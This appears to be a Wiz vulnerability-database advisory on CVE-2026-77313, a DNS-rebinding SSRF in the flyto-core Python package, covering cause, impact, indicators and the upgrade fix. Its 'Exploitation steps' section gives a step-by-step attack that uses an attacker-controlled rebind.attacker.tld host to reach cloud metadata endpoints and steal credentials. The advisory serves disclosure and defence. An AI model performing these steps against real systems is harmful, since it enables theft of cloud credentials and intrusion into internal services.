New from Wiz Research: Critical NGINX flaw. Understand the risk and impact.

CVE-2026-77313: 
Python vulnerability analysis and mitigation

Overview

CVE-2026-77313 is a DNS-rebinding SSRF vulnerability (GHSA-pfg2-w999-497v) in Flyto2 Core, an execution kernel for automation and AI-agent workflows. The flaw exists in validate_url_ssrf (src/core/utils.py), which resolves and validates a hostname's IP but then returns the original hostname URL rather than the pinned IP address, allowing aiohttp to perform an independent second DNS lookup at connection time — a classic TOCTOU race condition. All versions of flyto-core up to and including 2.26.7 (pip package) are affected; version 2.26.8 contains the fix. It carries a CVSS v3.1 base score of 7.1 (High) (Github Advisory, Feedly).

Technical details

The root cause is a combination of CWE-367 (Time-of-check Time-of-use Race Condition) and CWE-918 (Server-Side Request Forgery). In src/core/utils.py:523, validate_url_ssrf resolves the hostname, checks the resulting IP against private/blocked ranges via is_private_ip, but then discards the validated IP and returns the original hostname URL string. Because each outbound module (e.g., http.get, graphql.query, slack_send) builds a fresh aiohttp.ClientSession per call with no custom TCPConnector or pinned resolver, aiohttp performs a completely independent getaddrinfo call at connect time. An attacker who controls DNS for a hostname (configured with TTL 0, alternating between a public IP and an internal/metadata IP) can cause the validation-time lookup to return the public IP (passing the guard) while the connection-time lookup returns the internal IP, reaching internal services or cloud metadata endpoints (Github Advisory, Patch Commit).

Impact

Successful exploitation allows a low-privileged authenticated attacker to bypass the SSRF guard across all modules that invoke validate_url_ssrf, including http.get/request/batch/paginate/session, graphql.query/mutation, monitor.http_check, notification.send, communication.slack_send/webhook_trigger, ai.vision_analyze, image.download, and llm.chat. The primary impact is high confidentiality loss — an attacker can read responses from internal services or cloud instance metadata endpoints (e.g., AWS/GCP/Azure IMDS), potentially exposing credentials, tokens, and sensitive configuration data. Integrity impact is rated low (limited write capability via fetched responses), and availability is unaffected (Github Advisory).

Exploitability

A proof-of-concept reproduction sequence is publicly documented in the GitHub Security Advisory, describing the attacker DNS setup (TTL 0, alternating IPs) and the specific execute_module http.get call targeting a metadata URL. Feedly classifies this as a real exploit with medium confidence, noting it includes a concrete reproduction sequence without runnable code. There is no evidence of in-the-wild exploitation at this time, and the CVE is not listed in the CISA KEV catalog. The EPSS score is 0.0, reflecting the currently low observed exploitation probability. Exploitation requires attacker-controlled DNS and a successful timing-dependent DNS answer change between the two lookups (Attack Complexity: High) (Github Advisory, Feedly).

Exploitation steps

  1. Acquire low-privileged access: Obtain a low-privileged account on a Flyto2 Core instance running flyto-core <= 2.26.7 with the ability to invoke modules such as http.get.
  2. Set up attacker-controlled DNS: Register a domain (e.g., rebind.attacker.tld) and configure its DNS with TTL 0, alternating DNS responses between a legitimate public IP (to pass the SSRF guard) and the target internal IP (e.g., 169.254.169.254 for AWS IMDS or another internal service IP).
  3. Trigger the SSRF validation: Submit a module execution request using the attacker-controlled hostname as the URL target: execute_module http.get {"url":"http://rebind.attacker.tld/latest/meta-data/..."}.
  4. Race the DNS resolution: The validate_url_ssrf function calls getaddrinfo(rebind.attacker.tld) — with TTL 0, this returns the public IP, is_private_ip returns False, and the function returns the hostname URL (not the pinned IP), passing the guard.
  5. Exploit the TOCTOU window: When aiohttp's session.get("http://rebind.attacker.tld/...") executes, it performs a fresh independent getaddrinfo call. With TTL 0 and alternating DNS, this second lookup now resolves to the internal IP.
  6. Retrieve internal response: aiohttp connects to the internal IP, fetches the response (e.g., cloud metadata credentials or internal service data), and returns the body to the attacker (Github Advisory).

Indicators of compromise

  • Network: Outbound HTTP requests from the Flyto2 Core host to internal IP ranges (RFC 1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) or link-local addresses (169.254.169.254) originating from the application process; repeated DNS queries for the same hostname with very short TTL (TTL 0) from the application server.
  • Logs: Application logs showing http.get or similar module invocations with hostnames resolving to internal or metadata service IPs; aiohttp connection logs indicating connections to 169.254.169.254 or other internal addresses; SSRF guard logs showing a hostname passing validation followed by a connection to a different IP.
  • Process: Unusual outbound connections from the Flyto2 Core Python process to cloud metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/) or internal service ports not normally accessed by the application.
  • File System: Unexpected credential files or tokens written to disk if the attacker exfiltrated and stored cloud metadata credentials obtained via the SSRF (Github Advisory).

Mitigation and workarounds

Upgrade flyto-core to version 2.26.8 immediately via pip install --upgrade flyto-core. The fix introduces an _SSRFGuardedResolver that resolves the hostname once, rejects private/blocked IPs at resolve time, and pins the validated IP to the connection — ensuring the address validated is the address connected to. All outbound-guarded modules now use guarded_client_session() instead of bare aiohttp.ClientSession(). As a network-level workaround prior to patching, implement DNS firewall rules or RPZ policies to block DNS rebinding attempts, and enforce egress filtering to block connections from the application host to RFC 1918, link-local, and loopback address ranges. Operator-approved private network access can be preserved post-upgrade via the FLYTO_ALLOW_PRIVATE_NETWORK and FLYTO_ALLOWED_HOSTS environment variables (Github Advisory, Release v2.26.8, Patch Commit).

Community reactions

The vulnerability was discovered by researcher zx (Jace) and credited in the advisory. The advisory notably points out that SECURITY_SSRF.md line 63 in the repository explicitly claimed DNS-rebinding was prevented — a claim that was incorrect, highlighting a documentation-versus-implementation gap. The fix was released as part of a batch security release (GHSA batch 3) addressing five advisories simultaneously in v2.26.8. A brief social media mention was observed on infosec.exchange shortly after publication (Github Advisory, Release v2.26.8).

Additional resources

  • Github Advisory — GitHub Advisory Database entry (GHSA-pfg2-w999-497v)
  • Security Advisory — Official flytohub security advisory with full technical details and PoC
  • Patch Commit — Fix commit introducing _SSRFGuardedResolver and guarded_client_session()
  • Release v2.26.8 — Official release notes for the patched version
  • GitLab Advisory — GitLab advisory database entry for flyto-core

Source: This report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-132275HIGH7.5
  • Python logoPython
  • svglib
NoYesNov 20, 2026
CVE-2026-132276MEDIUM5.9
  • Python logoPython
  • wcmatch
NoYesNov 20, 2026
CVE-2026-132277MEDIUM5.3
  • Python logoPython
  • inscriptis
NoYesNov 20, 2026
CVE-2026-77332LOW2.3
  • Python logoPython
  • memtomem-stm
NoYesNov 20, 2026
CVE-2026-77331LOW2
  • Python logoPython
  • memtomem-stm
NoYesNov 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management